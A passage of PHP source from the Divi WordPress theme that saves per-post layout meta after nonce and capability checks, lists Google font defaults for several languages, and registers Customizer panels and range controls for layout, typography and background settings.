	if ( ! current_user_can( $post_type->cap->edit_post, $post_id ) ) {
		return;
	}

	if ( ! isset( $_POST['et_settings_nonce'] ) || ! wp_verify_nonce( $_POST['et_settings_nonce'], basename( __FILE__ ) ) ) {
		return;
	}

	if ( isset( $_POST['et_post_use_bg_color'] ) )
		update_post_meta( $post_id, '_et_post_use_bg_color', true );
	else
		delete_post_meta( $post_id, '_et_post_use_bg_color' );

	if ( isset( $_POST['et_post_bg_color'] ) )
		update_post_meta( $post_id, '_et_post_bg_color', sanitize_text_field( $_POST['et_post_bg_color'] ) );
	else
		delete_post_meta( $post_id, '_et_post_bg_color' );

	if ( isset( $_POST['et_post_bg_layout'] ) )
		update_post_meta( $post_id, '_et_post_bg_layout', sanitize_text_field( $_POST['et_post_bg_layout'] ) );
	else
		delete_post_meta( $post_id, '_et_post_bg_layout' );

	if ( isset( $_POST['et_single_title'] ) )
		update_post_meta( $post_id, '_et_pb_show_title', sanitize_text_field( $_POST['et_single_title'] ) );
	else
		delete_post_meta( $post_id, '_et_pb_show_title' );

	if ( isset( $_POST['et_pb_post_hide_nav'] ) )
		update_post_meta( $post_id, '_et_pb_post_hide_nav', sanitize_text_field( $_POST['et_pb_post_hide_nav'] ) );
	else
		delete_post_meta( $post_id, '_et_pb_post_hide_nav' );

	if ( isset( $_POST['et_project_nav'] ) )
		update_post_meta( $post_id, '_et_pb_project_nav', sanitize_text_field( $_POST['et_project_nav'] ) );
	else
		delete_post_meta( $post_id, '_et_pb_project_nav' );

	if ( isset( $_POST['et_pb_page_layout'] ) ) {
		update_post_meta( $post_id, '_et_pb_page_layout', sanitize_text_field( $_POST['et_pb_page_layout'] ) );
	} else {
		delete_post_meta( $post_id, '_et_pb_page_layout' );
	}

	if ( isset( $_POST['et_pb_side_nav'] ) ) {
		update_post_meta( $post_id, '_et_pb_side_nav', sanitize_text_field( $_POST['et_pb_side_nav'] ) );
	} else {
		delete_post_meta( $post_id, '_et_pb_side_nav' );
	}

	if ( isset( $_POST['et_pb_product_page_layout'] ) ) {
		update_post_meta( $post_id, '_et_pb_product_page_layout', sanitize_text_field( $_POST['et_pb_product_page_layout'] ) );
	} else {
		delete_post_meta( $post_id, '_et_pb_product_page_layout' );
	}
}
add_action( 'save_post', 'et_divi_post_settings_save_details', 10, 2 );


if ( ! function_exists( 'et_get_one_font_languages' ) ) :
	/**
	 * Return the list of languages which support one font
	 *
	 * @deprecated 4.8
	 *
	 * @return array
	 */
	function et_get_one_font_languages() {
		_deprecated_function( __FUNCTION__, '4.8', null );

		$one_font_languages = array(
			'ja'    => array(
				'language_name'   => 'Japanese',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansjapanese.css',
				'font_family'     => "'Noto Sans Japanese', serif",
			),
			'ko_KR' => array(
				'language_name'   => 'Korean',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/hanna.css',
				'font_family'     => "'Hanna', serif",
			),
			'ms_MY' => array(
				'language_name'   => 'Malay',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansmalayalam.css',
				'font_family'     => "'Noto Sans Malayalam', serif",
			),
			'zh_CN' => array(
				'language_name'   => 'Chinese',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/cwtexfangsong.css',
				'font_family'     => "'cwTeXFangSong', serif",
			),
		);

		return $one_font_languages;
	}
endif;

if ( ! function_exists( 'et_get_old_one_font_languages' ) ) :
	/**
	 * Return the list of languages which supported one font previously.
	 *
	 * @return array
	 */
	function et_get_old_one_font_languages() {
		$old_one_font_languages = array(
			'he_IL' => array(
				'language_name'   => 'Hebrew',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/alefhebrew.css',
				'font_family'     => 'Alef Hebrew',
			),
			'ar'    => array(
				'language_name'   => 'Arabic',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/lateef.css',
				'font_family'     => 'Lateef',
			),
			'th'    => array(
				'language_name'   => 'Thai',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansthai.css',
				'font_family'     => 'Noto Sans Thai',
			),
			'ja'    => array(
				'language_name'   => 'Japanese',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansjapanese.css',
				'font_family'     => 'Noto Sans Japanese',
			),
			'ko_KR' => array(
				'language_name'   => 'Korean',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/hanna.css',
				'font_family'     => 'Hanna',
			),
			'ml_IN' => array(
				'language_name'   => 'Malayalam',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/notosansmalayalam.css',
				'font_family'     => 'Noto Sans Malayalam',
			),
			'zh_CN' => array(
				'language_name'   => 'Chinese',
				'google_font_url' => '//fonts.googleapis.com/earlyaccess/cwtexfangsong.css',
				'font_family'     => 'cwTeXFangSong',
			),
		);

		return $old_one_font_languages;
	}
endif;

/**
 * Return custom default font-family for the languages which supported one font previously
 * @param string
 * @return string
 */
if ( ! function_exists( 'et_pb_get_specific_default_font' ) ) :
function et_pb_get_specific_default_font( $font_family ) {
	// do nothing if font is not default
	if ( ! in_array( $font_family, array( 'none', '' ) ) ) {
		return $font_family;
	}

	$site_domain = get_locale();

	// array of the languages which were "one font languages" earlier and have specific defaults
	$specific_defaults = et_get_old_one_font_languages();

	if ( isset( $specific_defaults[ $site_domain ] ) ) {
		return $specific_defaults[ $site_domain ]['font_family'];
	}

	return $font_family;
}
endif;

function et_divi_customize_register( $wp_customize ) {
	global $wp_version;

	// Get WP major version
	$wp_major_version = substr( $wp_version, 0, 3 );

	$wp_customize->remove_section( 'title_tagline' );
	$wp_customize->remove_section( 'background_image' );
	$wp_customize->remove_section( 'colors' );
	$wp_customize->register_control_type( 'ET_Divi_Customize_Color_Alpha_Control' );

	if ( version_compare( $wp_major_version, '4.9', '>=' ) ) {
		wp_register_script( 'wp-color-picker-alpha', get_template_directory_uri() . '/includes/builder/scripts/ext/wp-color-picker-alpha.min.js', array( 'jquery', 'wp-color-picker' ) );
		wp_localize_script( 'wp-color-picker-alpha', 'et_pb_color_picker_strings', apply_filters( 'et_pb_color_picker_strings_builder', array(
			'legacy_pick'    => esc_html__( 'Select', 'et_builder' ),
			'legacy_current' => esc_html__( 'Current Color', 'et_builder' ),
		) ) );
	} else {
		wp_register_script( 'wp-color-picker-alpha', get_template_directory_uri() . '/includes/builder/scripts/ext/wp-color-picker-alpha-48.min.js', array( 'jquery', 'wp-color-picker' ) );
	}

	$option_set_name           = 'et_customizer_option_set';
	$option_set_allowed_values = apply_filters( 'et_customizer_option_set_allowed_values', array( 'module', 'theme' ) );

	$customizer_option_set = '';

	/**
	 * Set a transient,
	 * if 'et_customizer_option_set' query parameter is set to one of the allowed values
	 */
	if ( isset( $_GET[ $option_set_name ] ) && in_array( $_GET[ $option_set_name ], $option_set_allowed_values ) ) {
		$customizer_option_set = $_GET[ $option_set_name ];

		set_transient( 'et_divi_customizer_option_set', $customizer_option_set, DAY_IN_SECONDS );
	}

	if ( '' === $customizer_option_set && ( $et_customizer_option_set_value = get_transient( 'et_divi_customizer_option_set' ) ) ) {
		$customizer_option_set = $et_customizer_option_set_value;
	}

	et_builder_init_global_settings();

	// Determine if current request is Design Preview Link. Design Preview Link was added on
	// WordPress 4.9 and enables user to share customizer change without the need to publish the
	// customizer change first: save customizer change as draft, copy the link, and share it with
	// collaborator. Design Preview Link works on non-logged in user
	// @see https://codex.wordpress.org/Version_4.9
	$is_customizer_public_shared_link = ! is_admin() && is_customize_preview() && ! $wp_customize->get_messenger_channel();

	// display wp error screen if theme customizer disabled for current user
    if ( ! et_pb_is_allowed( 'theme_customizer' ) && ! $is_customizer_public_shared_link ) {
        wp_die( esc_html__( "you don't have sufficient permissions to access this page", 'Divi' ) );
    }

    et_divi_customizer_theme_settings( $wp_customize );
}
add_action( 'customize_register', 'et_divi_customize_register' );

if ( ! function_exists( 'et_divi_customizer_theme_settings' ) ) :
	/**
	 * Add our customizer settings.
	 *
	 * @param \WP_Customize_Manager $wp_customize WP_Customize_Manager object.
	 */
	function et_divi_customizer_theme_settings( $wp_customize ) {
		$site_domain = get_locale();

		$google_fonts = et_builder_get_fonts(
			array(
				'prepend_standard_fonts' => false,
			)
		);

		$user_fonts = et_builder_get_custom_fonts();

		// combine google fonts with custom user fonts.
		$google_fonts = array_merge( $user_fonts, $google_fonts );

		$et_domain_fonts = array(
			'ru_RU' => 'cyrillic',
			'uk'    => 'cyrillic',
			'bg_BG' => 'cyrillic',
			'vi'    => 'vietnamese',
			'el'    => 'greek',
			'ar'    => 'arabic',
			'he_IL' => 'hebrew',
			'th'    => 'thai',
			'si_lk' => 'sinhala',
			'bn_bd' => 'bengali',
			'ta_lk' => 'tamil',
			'te'    => 'telegu',
			'km'    => 'khmer',
			'kn'    => 'kannada',
			'ml_in' => 'malayalam',
			'ja'    => 'japanese',
			'ko_KR' => 'korean',
			'ml_IN' => 'malayalam',
			'zh_CN' => 'chinese-simplified',
		);

		$font_choices         = array();
		$font_choices['none'] = array(
			'label' => 'Default Theme Font',
		);

		$removed_fonts_mapping = et_builder_old_fonts_mapping();

		foreach ( $google_fonts as $google_font_name => $google_font_properties ) {
			$use_parent_font = false;

			if ( isset( $removed_fonts_mapping[ $google_font_name ] ) ) {
				$parent_font                             = $removed_fonts_mapping[ $google_font_name ]['parent_font'];
				$google_font_properties['character_set'] = $google_fonts[ $parent_font ]['character_set'];
				$use_parent_font                         = true;
			}

			if ( '' !== $site_domain && isset( $et_domain_fonts[ $site_domain ] ) && isset( $google_font_properties['character_set'] ) && false === strpos( $google_font_properties['character_set'], $et_domain_fonts[ $site_domain ] ) ) {
				continue;
			}

			$font_choices[ $google_font_name ] = array(
				'label' => $google_font_name,
				'data'  => array(
					'parent_font'    => $use_parent_font ? $google_font_properties['parent_font'] : '',
					'parent_styles'  => $use_parent_font ? $google_fonts[ $parent_font ]['styles'] : $google_font_properties['styles'],
					'current_styles' => $use_parent_font && isset( $google_fonts[ $parent_font ]['styles'] ) && isset( $google_font_properties['styles'] ) ? $google_font_properties['styles'] : '',
					'parent_subset'  => $use_parent_font && isset( $google_fonts[ $parent_font ]['character_set'] ) ? $google_fonts[ $parent_font ]['character_set'] : '',
					'standard'       => isset( $google_font_properties['standard'] ) && $google_font_properties['standard'] ? 'on' : 'off',
				),
			);
		}

		$wp_customize->add_panel(
			'et_divi_general_settings',
			array(
				'title'    => esc_html__( 'General Settings', 'Divi' ),
				'priority' => 1,
			)
		);

		$wp_customize->add_section(
			'title_tagline',
			array(
				'title' => esc_html__( 'Site Identity', 'Divi' ),
				'panel' => 'et_divi_general_settings',
			)
		);

		$wp_customize->add_section(
			'et_divi_general_layout',
			array(
				'title' => esc_html__( 'Layout Settings', 'Divi' ),
				'panel' => 'et_divi_general_settings',
			)
		);

		$wp_customize->add_section(
			'et_divi_general_typography',
			array(
				'title' => esc_html__( 'Typography', 'Divi' ),
				'panel' => 'et_divi_general_settings',
			)
		);

		$wp_customize->add_panel(
			'et_divi_mobile',
			array(
				'title'    => esc_html__( 'Mobile Styles', 'Divi' ),
				'priority' => 6,
			)
		);

		$wp_customize->add_section(
			'et_divi_mobile_tablet',
			array(
				'title' => esc_html__( 'Tablet', 'Divi' ),
				'panel' => 'et_divi_mobile',
			)
		);

		$wp_customize->add_section(
			'et_divi_mobile_phone',
			array(
				'title' => esc_html__( 'Phone', 'Divi' ),
				'panel' => 'et_divi_mobile',
			)
		);

		$wp_customize->add_section(
			'et_divi_mobile_menu',
			array(
				'title' => esc_html__( 'Mobile Menu', 'Divi' ),
				'panel' => 'et_divi_mobile',
			)
		);

		$wp_customize->add_section(
			'et_divi_general_background',
			array(
				'title' => esc_html__( 'Background', 'Divi' ),
				'panel' => 'et_divi_general_settings',
			)
		);

		$wp_customize->add_panel(
			'et_divi_header_panel',
			array(
				'title'    => esc_html__( 'Header & Navigation', 'Divi' ),
				'priority' => 2,
			)
		);

		$wp_customize->add_section(
			'et_divi_header_layout',
			array(
				'title' => esc_html__( 'Header Format', 'Divi' ),
				'panel' => 'et_divi_header_panel',
			)
		);

		$wp_customize->add_section(
			'et_divi_header_primary',
			array(
				'title' => esc_html__( 'Primary Menu Bar', 'Divi' ),
				'panel' => 'et_divi_header_panel',
			)
		);

		$wp_customize->add_section(
			'et_divi_header_secondary',
			array(
				'title' => esc_html__( 'Secondary Menu Bar', 'Divi' ),
				'panel' => 'et_divi_header_panel',
			)
		);

		$wp_customize->add_section(
			'et_divi_header_slide',
			array(
				'title' => esc_html__( 'Slide In & Fullscreen Header Settings', 'Divi' ),
				'panel' => 'et_divi_header_panel',
			)
		);

		$wp_customize->add_section(
			'et_divi_header_fixed',
			array(
				'title' => esc_html__( 'Fixed Navigation Settings', 'Divi' ),
				'panel' => 'et_divi_header_panel',
			)
		);

		$wp_customize->add_section(
			'et_divi_header_information',
			array(
				'title' => esc_html__( 'Header Elements', 'Divi' ),
				'panel' => 'et_divi_header_panel',
			)
		);

		$wp_customize->add_panel(
			'et_divi_footer_panel',
			array(
				'title'    => esc_html__( 'Footer', 'Divi' ),
				'priority' => 3,
			)
		);

		$wp_customize->add_section(
			'et_divi_footer_layout',
			array(
				'title' => esc_html__( 'Layout', 'Divi' ),
				'panel' => 'et_divi_footer_panel',
			)
		);

		$wp_customize->add_section(
			'et_divi_footer_widgets',
			array(
				'title' => esc_html__( 'Widgets', 'Divi' ),
				'panel' => 'et_divi_footer_panel',
			)
		);

		$wp_customize->add_section(
			'et_divi_footer_elements',
			array(
				'title' => esc_html__( 'Footer Elements', 'Divi' ),
				'panel' => 'et_divi_footer_panel',
			)
		);

		$wp_customize->add_section(
			'et_divi_footer_menu',
			array(
				'title' => esc_html__( 'Footer Menu', 'Divi' ),
				'panel' => 'et_divi_footer_panel',
			)
		);

		$wp_customize->add_section(
			'et_divi_bottom_bar',
			array(
				'title' => esc_html__( 'Bottom Bar', 'Divi' ),
				'panel' => 'et_divi_footer_panel',
			)
		);

		$wp_customize->add_section(
			'et_color_schemes',
			array(
				'title'       => esc_html__( 'Color Schemes', 'Divi' ),
				'priority'    => 7,
				'description' => esc_html__( 'Note: Color settings set above should be applied to the Default color scheme.', 'Divi' ),
			)
		);

		$wp_customize->add_panel(
			'et_divi_buttons_settings',
			array(
				'title'    => esc_html__( 'Buttons', 'Divi' ),
				'priority' => 4,
			)
		);

		$wp_customize->add_section(
			'et_divi_buttons',
			array(
				'title' => esc_html__( 'Buttons Style', 'Divi' ),
				'panel' => 'et_divi_buttons_settings',
			)
		);

		$wp_customize->add_section(
			'et_divi_buttons_hover',
			array(
				'title' => esc_html__( 'Buttons Hover Style', 'Divi' ),
				'panel' => 'et_divi_buttons_settings',
			)
		);

		$wp_customize->add_panel(
			'et_divi_blog_settings',
			array(
				'title'    => esc_html__( 'Blog', 'Divi' ),
				'priority' => 5,
			)
		);

		$wp_customize->add_section(
			'et_divi_blog_post',
			array(
				'title' => esc_html__( 'Post', 'Divi' ),
				'panel' => 'et_divi_blog_settings',
			)
		);

		$wp_customize->add_setting(
			'et_divi[post_meta_font_size]',
			array(
				'default'           => '14',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->get_setting( 'blogname' )->transport = 'postMessage';

		$wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage';

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[post_meta_font_size]',
				array(
					'label'       => esc_html__( 'Meta Text Size', 'Divi' ),
					'section'     => 'et_divi_blog_post',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 32,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[post_meta_height]',
			array(
				'default'           => '1',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_float_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[post_meta_height]',
				array(
					'label'       => esc_html__( 'Meta Line Height', 'Divi' ),
					'section'     => 'et_divi_blog_post',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => .8,
						'max'  => 3,
						'step' => .1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[post_meta_spacing]',
			array(
				'default'           => '0',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[post_meta_spacing]',
				array(
					'label'       => esc_html__( 'Meta Letter Spacing', 'Divi' ),
					'section'     => 'et_divi_blog_post',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => -2,
						'max'  => 10,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[post_meta_style]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[post_meta_style]',
				array(
					'label'   => esc_html__( 'Meta Font Style', 'Divi' ),
					'section' => 'et_divi_blog_post',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[post_header_font_size]',
			array(
				'default'           => '30',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[post_header_font_size]',
				array(
					'label'       => esc_html__( 'Header Text Size', 'Divi' ),
					'section'     => 'et_divi_blog_post',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 72,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[post_header_height]',
			array(
				'default'           => '1',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_float_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[post_header_height]',
				array(
					'label'       => esc_html__( 'Header Line Height', 'Divi' ),
					'section'     => 'et_divi_blog_post',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0.8,
						'max'  => 3,
						'step' => 0.1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[post_header_spacing]',
			array(
				'default'           => '0',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_int_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[post_header_spacing]',
				array(
					'label'       => esc_html__( 'Header Letter Spacing', 'Divi' ),
					'section'     => 'et_divi_blog_post',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => -2,
						'max'  => 10,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[post_header_style]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[post_header_style]',
				array(
					'label'   => esc_html__( 'Header Font Style', 'Divi' ),
					'section' => 'et_divi_blog_post',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[boxed_layout]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[boxed_layout]',
			array(
				'label'   => esc_html__( 'Enable Boxed Layout', 'Divi' ),
				'section' => 'et_divi_general_layout',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[content_width]',
			array(
				'default'           => '1080',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[content_width]',
				array(
					'label'       => esc_html__( 'Website Content Width', 'Divi' ),
					'section'     => 'et_divi_general_layout',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 960,
						'max'  => 1920,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[gutter_width]',
			array(
				'default'           => '3',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[gutter_width]',
				array(
					'label'       => esc_html__( 'Website Gutter Width', 'Divi' ),
					'section'     => 'et_divi_general_layout',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 1,
						'max'  => 4,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[use_sidebar_width]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[use_sidebar_width]',
			array(
				'label'   => esc_html__( 'Use Custom Sidebar Width', 'Divi' ),
				'section' => 'et_divi_general_layout',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[sidebar_width]',
			array(
				'default'           => '21',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[sidebar_width]',
				array(
					'label'       => esc_html__( 'Sidebar Width', 'Divi' ),
					'section'     => 'et_divi_general_layout',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 19,
						'max'  => 33,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[section_padding]',
			array(
				'default'           => '4',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[section_padding]',
				array(
					'label'       => esc_html__( 'Section Height', 'Divi' ),
					'section'     => 'et_divi_general_layout',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 10,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[phone_section_height]',
			array(
				'default'           => et_get_option( 'tablet_section_height', '50' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[phone_section_height]',
				array(
					'label'       => esc_html__( 'Section Height', 'Divi' ),
					'section'     => 'et_divi_mobile_phone',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 150,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[tablet_section_height]',
			array(
				'default'           => '50',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[tablet_section_height]',
				array(
					'label'       => esc_html__( 'Section Height', 'Divi' ),
					'section'     => 'et_divi_mobile_tablet',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 150,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[row_padding]',
			array(
				'default'           => '2',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[row_padding]',
				array(
					'label'       => esc_html__( 'Row Height', 'Divi' ),
					'section'     => 'et_divi_general_layout',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 10,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[phone_row_height]',
			array(
				'default'           => et_get_option( 'tablet_row_height', '30' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[phone_row_height]',
				array(
					'label'       => esc_html__( 'Row Height', 'Divi' ),
					'section'     => 'et_divi_mobile_phone',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 150,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[tablet_row_height]',
			array(
				'default'           => '30',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[tablet_row_height]',
				array(
					'label'       => esc_html__( 'Row Height', 'Divi' ),
					'section'     => 'et_divi_mobile_tablet',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 150,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[cover_background]',
			array(
				'default'           => 'on',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[cover_background]',
			array(
				'label'   => esc_html__( 'Stretch Background Image', 'Divi' ),
				'section' => 'et_divi_general_background',
				'type'    => 'checkbox',
			)
		);

		if ( ! is_null( $wp_customize->get_setting( 'background_color' ) ) ) {
			$wp_customize->add_control(
				new WP_Customize_Color_Control(
					$wp_customize,
					'background_color',
					array(
						'label'   => esc_html__( 'Background Color', 'Divi' ),
						'section' => 'et_divi_general_background',
					)
				)
			);
		}

		if ( ! is_null( $wp_customize->get_setting( 'background_image' ) ) ) {
			$wp_customize->add_control(
				new WP_Customize_Image_Control(
					$wp_customize,
					'background_image',
					array(
						'label'   => esc_html__( 'Background Image', 'Divi' ),
						'section' => 'et_divi_general_background',
					)
				)
			);
		}

		// Remove default background_repeat setting and control since native
		// background_repeat field has different different settings.
		$wp_customize->remove_setting( 'background_repeat' );
		$wp_customize->remove_control( 'background_repeat' );

		// Re-defined Divi specific background repeat option.
		$wp_customize->add_setting(
			'background_repeat',
			array(
				'default'           => apply_filters( 'et_divi_background_repeat_default', 'repeat' ),
				'sanitize_callback' => 'et_sanitize_background_repeat',
				'theme_supports'    => 'custom-background',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
			)
		);

		$wp_customize->add_control(
			'background_repeat',
			array(
				'label'   => esc_html__( 'Background Repeat', 'Divi' ),
				'section' => 'et_divi_general_background',
				'type'    => 'radio',
				'choices' => et_divi_background_repeat_choices(),
			)
		);

		$wp_customize->add_control(
			'background_position_x',
			array(
				'label'   => esc_html__( 'Background Position', 'Divi' ),
				'section' => 'et_divi_general_background',
				'type'    => 'radio',
				'choices' => array(
					'left'   => esc_html__( 'Left', 'Divi' ),
					'center' => esc_html__( 'Center', 'Divi' ),
					'right'  => esc_html__( 'Right', 'Divi' ),
				),
			)
		);

		// Remove default background_attachment setting and control since native
		// background_attachment field has different different settings.
		$wp_customize->remove_setting( 'background_attachment' );
		$wp_customize->remove_control( 'background_attachment' );

		$wp_customize->add_setting(
			'background_attachment',
			array(
				'default'           => apply_filters( 'et_sanitize_background_attachment_default', 'scroll' ),
				'sanitize_callback' => 'et_sanitize_background_attachment',
				'theme_supports'    => 'custom-background',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
			)
		);

		$wp_customize->add_control(
			'background_attachment',
			array(
				'label'   => esc_html__( 'Background Position', 'Divi' ),
				'section' => 'et_divi_general_background',
				'type'    => 'radio',
				'choices' => et_divi_background_attachment_choices(),
			)
		);

		$wp_customize->add_setting(
			'et_divi[body_font_size]',
			array(
				'default'           => '14',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[body_font_size]',
				array(
					'label'       => esc_html__( 'Body Text Size', 'Divi' ),
					'section'     => 'et_divi_general_typography',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 32,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[body_font_height]',
			array(
				'default'           => '1.7',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_float_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[body_font_height]',
				array(
					'label'       => esc_html__( 'Body Line Height', 'Divi' ),
					'section'     => 'et_divi_general_typography',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0.8,
						'max'  => 3,
						'step' => 0.1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[phone_body_font_size]',
			array(
				'default'           => et_get_option( 'tablet_body_font_size', '14' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
